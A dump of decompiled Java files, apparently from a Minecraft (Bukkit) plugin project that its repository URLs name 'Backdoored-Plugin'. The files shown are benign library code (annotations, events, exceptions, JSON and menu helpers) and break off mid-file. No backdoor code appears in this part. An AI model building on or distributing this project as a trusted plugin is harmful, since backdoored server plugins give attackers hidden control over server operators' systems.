6 | import java.lang.annotation.Target;
7 |
8 | @Retention(RetentionPolicy.RUNTIME)
9 | @Target({ElementType.FIELD})
10 | public @interface Permission {
11 | String value() default "";
12 |
13 | boolean def() default false;
14 | }
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/command/annotation/PermissionGroup.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.command.annotation;
2 |
3 | import java.lang.annotation.ElementType;
4 | import java.lang.annotation.Retention;
5 | import java.lang.annotation.RetentionPolicy;
6 | import java.lang.annotation.Target;
7 |
8 | @Retention(RetentionPolicy.RUNTIME)
9 | @Target({ElementType.TYPE})
10 | public @interface PermissionGroup {
11 | String value() default "";
12 | }
13 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/constants/FoConstants.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.constants;
2 |
3 | import java.util.UUID;
4 | import me.ego.ezbd.lib.fo.Common;
5 | import me.ego.ezbd.lib.fo.TimeUtil;
6 | import me.ego.ezbd.lib.fo.plugin.SimplePlugin;
7 |
8 | public final class FoConstants {
9 | public static final UUID NULL_UUID = UUID.fromString("00000000-0000-0000-0000-000000000000");
10 |
11 | public FoConstants() {
12 | }
13 |
14 | public static final class NBT {
15 | public static final String TAG = SimplePlugin.getNamed() + "_NbtTag";
16 | public static final String TAG_MENU_CURRENT = SimplePlugin.getNamed() + "_Menu";
17 | public static final String TAG_MENU_PREVIOUS = SimplePlugin.getNamed() + "_Previous_Menu";
18 |
19 | public NBT() {
20 | }
21 | }
22 |
23 | public static final class Header {
24 | public static final String[] DATA_FILE = new String[]{"", "This file stores various data you create via the plugin.", "", " ** THE FILE IS MACHINE GENERATED. PLEASE DO NOT EDIT **", ""};
25 | public static final String[] UPDATED_FILE = new String[]{Common.configLine(), "", " Your file has been automatically updated at " + TimeUtil.getFormattedDate(), " to " + SimplePlugin.getNamed() + " " + SimplePlugin.getVersion(), "", " Unfortunatelly, due to how Bukkit saves all .yml files, it was not possible", " preserve the documentation comments in your file. We apologize.", "", " If you'd like to view the default file, you can either:", " a) Open the " + SimplePlugin.getSource().getName() + " with a WinRar or similar", " b) or, visit: https://github.com/kangarko/" + SimplePlugin.getNamed() + "/wiki", "", Common.configLine(), ""};
26 |
27 | public Header() {
28 | }
29 | }
30 |
31 | public static final class File {
32 | public static final String SETTINGS = "settings.yml";
33 | public static final String ERRORS = "error.log";
34 | public static final String DEBUG = "debug.log";
35 | public static final String DATA = "data.db";
36 |
37 | public File() {
38 | }
39 |
40 | public static final class ChatControl {
41 | public static final String COMMAND_SPY = "logs/command-spy.log";
42 | public static final String CHAT_LOG = "logs/chat.log";
43 | public static final String ADMIN_CHAT = "logs/admin-chat.log";
44 | public static final String BUNGEE_CHAT = "logs/bungee-chat.log";
45 | public static final String RULES_LOG = "logs/rules.log";
46 | public static final String CONSOLE_LOG = "logs/console.log";
47 | public static final String CHANNEL_JOINS = "logs/channel-joins.log";
48 |
49 | public ChatControl() {
50 | }
51 | }
52 | }
53 | }
54 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/constants/FoPermissions.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.constants;
2 |
3 | import me.ego.ezbd.lib.fo.command.annotation.Permission;
4 | import me.ego.ezbd.lib.fo.plugin.SimplePlugin;
5 |
6 | public class FoPermissions {
7 | @Permission("Receive plugin update notifications on join.")
8 | public static final String NOTIFY_UPDATE = SimplePlugin.getNamed().toLowerCase() + ".notify.update";
9 |
10 | public FoPermissions() {
11 | }
12 | }
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/conversation/SimpleCanceller.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.conversation;
2 |
3 | import java.util.Arrays;
4 | import java.util.Iterator;
5 | import java.util.List;
6 | import me.ego.ezbd.lib.fo.Valid;
7 | import org.bukkit.conversations.Conversation;
8 | import org.bukkit.conversations.ConversationCanceller;
9 | import org.bukkit.conversations.ConversationContext;
10 |
11 | public final class SimpleCanceller implements ConversationCanceller {
12 | private final List cancelPhrases;
13 |
14 | public SimpleCanceller(String... cancelPhrases) {
15 | this(Arrays.asList(cancelPhrases));
16 | }
17 |
18 | public SimpleCanceller(List cancelPhrases) {
19 | Valid.checkBoolean(!cancelPhrases.isEmpty(), "Cancel phrases are empty for conversation cancel listener!", new Object[0]);
20 | this.cancelPhrases = cancelPhrases;
21 | }
22 |
23 | public void setConversation(Conversation conversation) {
24 | }
25 |
26 | public boolean cancelBasedOnInput(ConversationContext context, String input) {
27 | Iterator var3 = this.cancelPhrases.iterator();
28 |
29 | String phrase;
30 | do {
31 | if (!var3.hasNext()) {
32 | return false;
33 | }
34 |
35 | phrase = (String)var3.next();
36 | } while(!input.equalsIgnoreCase(phrase));
37 |
38 | return true;
39 | }
40 |
41 | public ConversationCanceller clone() {
42 | return new SimpleCanceller(this.cancelPhrases);
43 | }
44 | }
45 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/conversation/SimpleDecimalPrompt.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.conversation;
2 |
3 | import java.util.function.Consumer;
4 | import lombok.NonNull;
5 | import me.ego.ezbd.lib.fo.Valid;
6 | import me.ego.ezbd.lib.fo.settings.SimpleLocalization.Commands;
7 | import org.bukkit.conversations.ConversationContext;
8 | import org.bukkit.conversations.Prompt;
9 | import org.bukkit.entity.Player;
10 |
11 | public class SimpleDecimalPrompt extends SimplePrompt {
12 | private String question = null;
13 | private Consumer successAction;
14 |
15 | protected String getPrompt(ConversationContext ctx) {
16 | Valid.checkNotNull(this.question, "Please either call setQuestion or override getPrompt");
17 | return "&6" + this.question;
18 | }
19 |
20 | protected boolean isInputValid(ConversationContext context, String input) {
21 | return Valid.isDecimal(input) || Valid.isInteger(input);
22 | }
23 |
24 | protected String getFailedValidationText(ConversationContext context, String invalidInput) {
25 | return Commands.INVALID_NUMBER.replace("{input}", invalidInput);
26 | }
27 |
28 | protected final Prompt acceptValidatedInput(@NonNull ConversationContext context, @NonNull String input) {
29 | if (context == null) {
30 | throw new NullPointerException("context is marked non-null but is null");
31 | } else if (input == null) {
32 | throw new NullPointerException("input is marked non-null but is null");
33 | } else {
34 | return this.acceptValidatedInput(context, Double.parseDouble(input));
35 | }
36 | }
37 |
38 | protected Prompt acceptValidatedInput(ConversationContext context, double input) {
39 | Valid.checkNotNull(this.question, "Please either call setSuccessAction or override acceptValidatedInput");
40 | this.successAction.accept(input);
41 | return Prompt.END_OF_CONVERSATION;
42 | }
43 |
44 | public static void show(Player player, String question, Consumer successAction) {
45 | (new SimpleDecimalPrompt(question, successAction)).show(player);
46 | }
47 |
48 | public SimpleDecimalPrompt() {
49 | }
50 |
51 | public SimpleDecimalPrompt(String question, Consumer successAction) {
52 | this.question = question;
53 | this.successAction = successAction;
54 | }
55 |
56 | protected void setQuestion(String question) {
57 | this.question = question;
58 | }
59 |
60 | protected void setSuccessAction(Consumer successAction) {
61 | this.successAction = successAction;
62 | }
63 | }
64 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/conversation/SimplePrefix.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.conversation;
2 |
3 | import me.ego.ezbd.lib.fo.Common;
4 | import org.bukkit.conversations.ConversationContext;
5 | import org.bukkit.conversations.ConversationPrefix;
6 |
7 | public final class SimplePrefix implements ConversationPrefix {
8 | private final String prefix;
9 |
10 | public String getPrefix(ConversationContext context) {
11 | return Common.colorize(this.prefix);
12 | }
13 |
14 | public SimplePrefix(String prefix) {
15 | this.prefix = prefix;
16 | }
17 |
18 | public String getPrefix() {
19 | return this.prefix;
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/event/MenuOpenEvent.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.event;
2 |
3 | import me.ego.ezbd.lib.fo.menu.Menu;
4 | import me.ego.ezbd.lib.fo.menu.model.InventoryDrawer;
5 | import org.bukkit.entity.Player;
6 | import org.bukkit.event.Cancellable;
7 | import org.bukkit.event.HandlerList;
8 |
9 | public final class MenuOpenEvent extends SimpleEvent implements Cancellable {
10 | private static final HandlerList handlers = new HandlerList();
11 | private final Menu menu;
12 | private final InventoryDrawer drawer;
13 | private final Player player;
14 | private boolean cancelled;
15 |
16 | public HandlerList getHandlers() {
17 | return handlers;
18 | }
19 |
20 | public static HandlerList getHandlerList() {
21 | return handlers;
22 | }
23 |
24 | public Menu getMenu() {
25 | return this.menu;
26 | }
27 |
28 | public InventoryDrawer getDrawer() {
29 | return this.drawer;
30 | }
31 |
32 | public Player getPlayer() {
33 | return this.player;
34 | }
35 |
36 | public boolean isCancelled() {
37 | return this.cancelled;
38 | }
39 |
40 | public MenuOpenEvent(Menu menu, InventoryDrawer drawer, Player player) {
41 | this.menu = menu;
42 | this.drawer = drawer;
43 | this.player = player;
44 | }
45 |
46 | public void setCancelled(boolean cancelled) {
47 | this.cancelled = cancelled;
48 | }
49 | }
50 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/event/RegionScanCompleteEvent.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.event;
2 |
3 | import org.bukkit.World;
4 | import org.bukkit.event.HandlerList;
5 |
6 | public final class RegionScanCompleteEvent extends SimpleEvent {
7 | private static final HandlerList handlers = new HandlerList();
8 | private final World world;
9 |
10 | public HandlerList getHandlers() {
11 | return handlers;
12 | }
13 |
14 | public static HandlerList getHandlerList() {
15 | return handlers;
16 | }
17 |
18 | public World getWorld() {
19 | return this.world;
20 | }
21 |
22 | public RegionScanCompleteEvent(World world) {
23 | this.world = world;
24 | }
25 | }
26 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/event/RocketExplosionEvent.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.event;
2 |
3 | import me.ego.ezbd.lib.fo.menu.tool.Rocket;
4 | import org.bukkit.entity.Projectile;
5 | import org.bukkit.event.Cancellable;
6 | import org.bukkit.event.HandlerList;
7 |
8 | public final class RocketExplosionEvent extends SimpleEvent implements Cancellable {
9 | private static final HandlerList handlers = new HandlerList();
10 | private final Rocket rocket;
11 | private final Projectile projectile;
12 | private float power;
13 | private boolean breakBlocks;
14 | private boolean cancelled;
15 |
16 | public RocketExplosionEvent(Rocket rocket, Projectile projectile, float power, boolean breakBlocks) {
17 | this.rocket = rocket;
18 | this.projectile = projectile;
19 | this.power = power;
20 | this.breakBlocks = breakBlocks;
21 | }
22 |
23 | public HandlerList getHandlers() {
24 | return handlers;
25 | }
26 |
27 | public static HandlerList getHandlerList() {
28 | return handlers;
29 | }
30 |
31 | public Rocket getRocket() {
32 | return this.rocket;
33 | }
34 |
35 | public Projectile getProjectile() {
36 | return this.projectile;
37 | }
38 |
39 | public float getPower() {
40 | return this.power;
41 | }
42 |
43 | public boolean isBreakBlocks() {
44 | return this.breakBlocks;
45 | }
46 |
47 | public boolean isCancelled() {
48 | return this.cancelled;
49 | }
50 |
51 | public void setPower(float power) {
52 | this.power = power;
53 | }
54 |
55 | public void setBreakBlocks(boolean breakBlocks) {
56 | this.breakBlocks = breakBlocks;
57 | }
58 |
59 | public void setCancelled(boolean cancelled) {
60 | this.cancelled = cancelled;
61 | }
62 | }
63 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/event/SimpleEvent.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.event;
2 |
3 | import org.bukkit.Bukkit;
4 | import org.bukkit.event.Event;
5 |
6 | public abstract class SimpleEvent extends Event {
7 | protected SimpleEvent() {
8 | super(!Bukkit.isPrimaryThread());
9 | }
10 |
11 | protected SimpleEvent(boolean async) {
12 | super(async);
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/exception/CommandException.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.exception;
2 |
3 | public class CommandException extends RuntimeException {
4 | private static final long serialVersionUID = 1L;
5 | private final String[] messages;
6 |
7 | public CommandException(String... messages) {
8 | super("");
9 | this.messages = messages;
10 | }
11 |
12 | public String[] getMessages() {
13 | return this.messages;
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/exception/EventHandledException.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.exception;
2 |
3 | public final class EventHandledException extends CommandException {
4 | private static final long serialVersionUID = 1L;
5 | private final boolean cancelled;
6 |
7 | public EventHandledException() {
8 | this(true);
9 | }
10 |
11 | public EventHandledException(boolean cancelled, String... messages) {
12 | super(messages);
13 | this.cancelled = cancelled;
14 | }
15 |
16 | public boolean isCancelled() {
17 | return this.cancelled;
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/exception/FoException.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.exception;
2 |
3 | import me.ego.ezbd.lib.fo.debug.Debugger;
4 |
5 | public class FoException extends RuntimeException {
6 | private static final long serialVersionUID = 1L;
7 |
8 | public FoException(Throwable t) {
9 | super(t);
10 | Debugger.saveError(t, new String[0]);
11 | }
12 |
13 | public FoException(String message) {
14 | super(message);
15 | Debugger.saveError(this, new String[]{message});
16 | }
17 |
18 | public FoException(Throwable t, String message) {
19 | super(message, t);
20 | Debugger.saveError(t, new String[]{message});
21 | }
22 |
23 | public FoException() {
24 | Debugger.saveError(this, new String[0]);
25 | }
26 |
27 | public String getMessage() {
28 | return "Report: " + super.getMessage();
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/exception/InvalidCommandArgException.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.exception;
2 |
3 | public final class InvalidCommandArgException extends CommandException {
4 | private static final long serialVersionUID = 1L;
5 |
6 | public InvalidCommandArgException() {
7 | super(new String[0]);
8 | }
9 |
10 | public InvalidCommandArgException(String message) {
11 | super(new String[]{message});
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/exception/InvalidWorldException.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.exception;
2 |
3 | public final class InvalidWorldException extends RuntimeException {
4 | private static final long serialVersionUID = 1L;
5 | private final String world;
6 |
7 | public InvalidWorldException(String message, String world) {
8 | super(message);
9 | this.world = world;
10 | }
11 |
12 | public String getWorld() {
13 | return this.world;
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/exception/RegexTimeoutException.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.exception;
2 |
3 | public final class RegexTimeoutException extends RuntimeException {
4 | private static final long serialVersionUID = 1L;
5 | private final String checkedMessage;
6 | private final long executionLimit;
7 |
8 | public RegexTimeoutException(CharSequence checkedMessage, long timeoutLimit) {
9 | this.checkedMessage = checkedMessage.toString();
10 | this.executionLimit = timeoutLimit;
11 | }
12 |
13 | public String getCheckedMessage() {
14 | return this.checkedMessage;
15 | }
16 |
17 | public long getExecutionLimit() {
18 | return this.executionLimit;
19 | }
20 | }
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/jsonsimple/JSONContentHandler.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.jsonsimple;
2 |
3 | import java.io.IOException;
4 |
5 | public interface JSONContentHandler {
6 | void startJSON() throws JSONParseException, IOException;
7 |
8 | void endJSON() throws JSONParseException, IOException;
9 |
10 | boolean startObject() throws JSONParseException, IOException;
11 |
12 | boolean endObject() throws JSONParseException, IOException;
13 |
14 | boolean startObjectEntry(String var1) throws JSONParseException, IOException;
15 |
16 | boolean endObjectEntry() throws JSONParseException, IOException;
17 |
18 | boolean startArray() throws JSONParseException, IOException;
19 |
20 | boolean endArray() throws JSONParseException, IOException;
21 |
22 | boolean primitive(Object var1) throws JSONParseException, IOException;
23 | }
24 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/jsonsimple/JSONParseException.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.jsonsimple;
2 |
3 | public class JSONParseException extends Exception {
4 | private static final long serialVersionUID = -7880698968187728547L;
5 | public static final int ERROR_UNEXPECTED_CHAR = 0;
6 | public static final int ERROR_UNEXPECTED_TOKEN = 1;
7 | public static final int ERROR_UNEXPECTED_EXCEPTION = 2;
8 | private final int errorType;
9 | private final Object unexpectedObject;
10 | private final int position;
11 |
12 | public JSONParseException(int errorType) {
13 | this(-1, errorType, (Object)null);
14 | }
15 |
16 | public JSONParseException(int errorType, Object unexpectedObject) {
17 | this(-1, errorType, unexpectedObject);
18 | }
19 |
20 | public JSONParseException(int position, int errorType, Object unexpectedObject) {
21 | this.position = position;
22 | this.errorType = errorType;
23 | this.unexpectedObject = unexpectedObject;
24 | }
25 |
26 | public int getErrorType() {
27 | return this.errorType;
28 | }
29 |
30 | public int getPosition() {
31 | return this.position;
32 | }
33 |
34 | public Object getUnexpectedObject() {
35 | return this.unexpectedObject;
36 | }
37 |
38 | public String getMessage() {
39 | StringBuilder builder = new StringBuilder();
40 | switch(this.errorType) {
41 | case 0:
42 | builder.append("Unexpected character (").append(this.unexpectedObject).append(") at position ").append(this.position).append(".");
43 | break;
44 | case 1:
45 | builder.append("Unexpected token ").append(this.unexpectedObject).append(" at position ").append(this.position).append(".");
46 | break;
47 | case 2:
48 | builder.append("Unexpected exception at position ").append(this.position).append(": ").append(this.unexpectedObject);
49 | break;
50 | default:
51 | builder.append("Unkown error at position ").append(this.position).append(".");
52 | }
53 |
54 | return builder.toString();
55 | }
56 | }
57 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/jsonsimple/JSONTypeSerializationHandler.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.jsonsimple;
2 |
3 | public interface JSONTypeSerializationHandler {
4 | Object serialize(Class> var1, Object var2);
5 |
6 | Object deserialize(Class> var1, Object var2);
7 | }
8 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/jsonsimple/JSONUtil.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.jsonsimple;
2 |
3 | import java.util.Collection;
4 | import java.util.Map;
5 |
6 | public final class JSONUtil {
7 | private JSONUtil() {
8 | }
9 |
10 | public static String escape(String string) {
11 | if (string != null) {
12 | StringBuilder builder = new StringBuilder();
13 | JsonSimpleUtil.escape(string, builder);
14 | return builder.toString();
15 | } else {
16 | return null;
17 | }
18 | }
19 |
20 | public static boolean isJSONType(Object value) {
21 | return value == null || value instanceof Number || value instanceof String || value instanceof Boolean || value instanceof Collection || value instanceof Map || value.getClass().isArray();
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/jsonsimple/Yytoken.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.jsonsimple;
2 |
3 | public class Yytoken {
4 | public static final int TYPE_VALUE = 0;
5 | public static final int TYPE_LEFT_BRACE = 1;
6 | public static final int TYPE_RIGHT_BRACE = 2;
7 | public static final int TYPE_LEFT_SQUARE = 3;
8 | public static final int TYPE_RIGHT_SQUARE = 4;
9 | public static final int TYPE_COMMA = 5;
10 | public static final int TYPE_COLON = 6;
11 | public static final int TYPE_EOF = -1;
12 | public int type;
13 | public Object value;
14 |
15 | public Yytoken(int type, Object value) {
16 | this.type = type;
17 | this.value = value;
18 | }
19 | }
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/jsonsimple/annotation/JSONAttribute.java:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ssllllll/Backdoored-Plugin/d283d989789f7cb6e747a4523dd41d00b4f1065f/me/ego/ezbd/lib/fo/jsonsimple/annotation/JSONAttribute.java
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/jsonsimple/annotation/JSONRoot.java:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ssllllll/Backdoored-Plugin/d283d989789f7cb6e747a4523dd41d00b4f1065f/me/ego/ezbd/lib/fo/jsonsimple/annotation/JSONRoot.java
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/menu/MenuQuantitable.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.menu;
2 |
3 | import me.ego.ezbd.lib.fo.menu.button.Button;
4 | import me.ego.ezbd.lib.fo.menu.model.ItemCreator;
5 | import me.ego.ezbd.lib.fo.menu.model.MenuQuantity;
6 | import me.ego.ezbd.lib.fo.remain.CompMaterial;
7 | import org.bukkit.entity.Player;
8 | import org.bukkit.event.inventory.ClickType;
9 | import org.bukkit.inventory.ItemStack;
10 |
11 | public interface MenuQuantitable {
12 | MenuQuantity getQuantity();
13 |
14 | void setQuantity(MenuQuantity var1);
15 |
16 | default int getNextQuantity(ClickType clickType) {
17 | return clickType == ClickType.LEFT ? -this.getQuantity().getAmount() : this.getQuantity().getAmount();
18 | }
19 |
20 | default Button getEditQuantityButton(final Menu menu) {
21 | return new Button() {
22 | public final void onClickedInMenu(Player pl, Menu clickedMenu, ClickType click) {
23 | MenuQuantitable.this.setQuantity(click == ClickType.LEFT ? MenuQuantitable.this.getQuantity().previous() : MenuQuantitable.this.getQuantity().next());
24 | menu.redraw();
25 | menu.animateTitle("&9Editing quantity set to " + MenuQuantitable.this.getQuantity().getAmount());
26 | }
27 |
28 | public ItemStack getItem() {
29 | return ItemCreator.of(CompMaterial.STRING, "Edit Quantity: &7" + MenuQuantitable.this.getQuantity().getAmount(), new String[]{"", "&8< &7Left click to decrease", "&8> &7Right click to increase"}).build().make();
30 | }
31 | };
32 | }
33 | }
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/menu/ToggleableTool.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.menu;
2 |
3 | import java.util.Arrays;
4 | import me.ego.ezbd.lib.fo.exception.FoException;
5 | import me.ego.ezbd.lib.fo.menu.model.ItemCreator;
6 | import me.ego.ezbd.lib.fo.menu.tool.Tool;
7 | import me.ego.ezbd.lib.fo.model.SimpleEnchant;
8 | import me.ego.ezbd.lib.fo.remain.CompItemFlag;
9 | import org.bukkit.Material;
10 | import org.bukkit.enchantments.Enchantment;
11 | import org.bukkit.entity.Player;
12 | import org.bukkit.inventory.ItemStack;
13 | import org.bukkit.inventory.PlayerInventory;
14 |
15 | final class ToggleableTool {
16 | private final ItemStack item;
17 | private boolean playerHasTool = false;
18 |
19 | ToggleableTool(Object unparsed) {
20 | if (unparsed != null) {
21 | if (unparsed instanceof ItemStack) {
22 | this.item = (ItemStack)unparsed;
23 | } else if (unparsed instanceof Tool) {
24 | this.item = ((Tool)unparsed).getItem();
25 | } else {
26 | if (!(unparsed instanceof Number) || ((Number)unparsed).intValue() != 0) {
27 | throw new FoException("Unknown tool: " + unparsed + " (we only accept ItemStack, Tool's instance or 0 for air)");
28 | }
29 |
30 | this.item = new ItemStack(Material.AIR);
31 | }
32 | } else {
33 | this.item = new ItemStack(Material.AIR);
34 | }
35 |
36 | }
37 |
38 | ItemStack get(Player player) {
39 | this.update(player);
40 | return this.playerHasTool ? this.getToolWhenHas() : this.getToolWhenHasnt();
41 | }
42 |
43 | private void update(Player pl) {
44 | this.playerHasTool = pl.getOpenInventory().getBottomInventory().containsAtLeast(this.item, 1);
45 | }
46 |
47 | private ItemStack getToolWhenHas() {
48 | return ItemCreator.of(this.item).enchant(new SimpleEnchant(Enchantment.ARROW_INFINITE, 1)).flag(CompItemFlag.HIDE_ENCHANTS).lores(Arrays.asList("", "&cYou already have this item.", "&7Click to take it away.")).build().make();
49 | }
50 |
51 | private ItemStack getToolWhenHasnt() {
52 | return this.item;
53 | }
54 |
55 | void giveOrTake(Player player) {
56 | PlayerInventory inv = player.getInventory();
57 | if (this.playerHasTool = !this.playerHasTool) {
58 | inv.addItem(new ItemStack[]{this.item});
59 | } else {
60 | inv.removeItem(new ItemStack[]{this.item});
61 | }
62 |
63 | }
64 |
65 | boolean equals(ItemStack item) {
66 | return this.getToolWhenHas().isSimilar(item) || this.getToolWhenHasnt().isSimilar(item);
67 | }
68 |
69 | public String toString() {
70 | return "Toggleable{" + this.item.getType() + "}";
71 | }
72 | }
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/menu/button/ButtonConversation.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.menu.button;
2 |
3 | import me.ego.ezbd.lib.fo.Valid;
4 | import me.ego.ezbd.lib.fo.conversation.SimpleConversation;
5 | import me.ego.ezbd.lib.fo.conversation.SimplePrompt;
6 | import me.ego.ezbd.lib.fo.menu.Menu;
7 | import me.ego.ezbd.lib.fo.menu.model.ItemCreator;
8 | import me.ego.ezbd.lib.fo.menu.model.ItemCreator.ItemCreatorBuilder;
9 | import me.ego.ezbd.lib.fo.remain.CompMaterial;
10 | import org.bukkit.entity.Player;
11 | import org.bukkit.event.inventory.ClickType;
12 | import org.bukkit.inventory.ItemStack;
13 |
14 | public final class ButtonConversation extends Button {
15 | private final SimpleConversation conversation;
16 | private final SimplePrompt prompt;
17 | private final ItemStack item;
18 |
19 | public ButtonConversation(SimpleConversation convo, CompMaterial material, String title, String... lore) {
20 | this(convo, ItemCreator.of(material, title, lore));
21 | }
22 |
23 | public ButtonConversation(SimpleConversation convo, ItemCreatorBuilder item) {
24 | this(convo, (SimplePrompt)null, item.hideTags(true).build().make());
25 | }
26 |
27 | public ButtonConversation(SimpleConversation convo, ItemCreator item) {
28 | this(convo, (SimplePrompt)null, item.make());
29 | }
30 |
31 | public ButtonConversation(SimplePrompt prompt, CompMaterial material, String title, String... lore) {
32 | this(prompt, ItemCreator.of(material, title, lore));
33 | }
34 |
35 | public ButtonConversation(SimplePrompt prompt, ItemCreator item) {
36 | this((SimpleConversation)null, prompt, item.make());
37 | }
38 |
39 | public ButtonConversation(SimplePrompt prompt, ItemCreatorBuilder item) {
40 | this((SimpleConversation)null, prompt, item.hideTags(true).build().make());
41 | }
42 |
43 | private ButtonConversation(SimpleConversation conversation, SimplePrompt prompt, ItemStack item) {
44 | this.conversation = conversation;
45 | this.prompt = prompt;
46 | this.item = item;
47 | }
48 |
49 | public void onClickedInMenu(Player player, Menu menu, ClickType click) {
50 | Valid.checkBoolean(this.conversation != null || this.prompt != null, "Conversation and prompt cannot be null!", new Object[0]);
51 | if (this.conversation != null) {
52 | this.conversation.setMenuToReturnTo(menu);
53 | this.conversation.start(player);
54 | } else {
55 | this.prompt.show(player);
56 | }
57 |
58 | }
59 |
60 | public ItemStack getItem() {
61 | return this.item;
62 | }
63 | }
64 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/menu/button/ButtonMenu.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.menu.button;
2 |
3 | import java.util.concurrent.Callable;
4 | import me.ego.ezbd.lib.fo.ReflectionUtil;
5 | import me.ego.ezbd.lib.fo.Valid;
6 | import me.ego.ezbd.lib.fo.menu.Menu;
7 | import me.ego.ezbd.lib.fo.menu.model.ItemCreator;
8 | import me.ego.ezbd.lib.fo.menu.model.ItemCreator.ItemCreatorBuilder;
9 | import me.ego.ezbd.lib.fo.remain.CompMaterial;
10 | import org.bukkit.entity.Player;
11 | import org.bukkit.event.inventory.ClickType;
12 | import org.bukkit.inventory.ItemStack;
13 |
14 | public final class ButtonMenu extends Button {
15 | private final Callable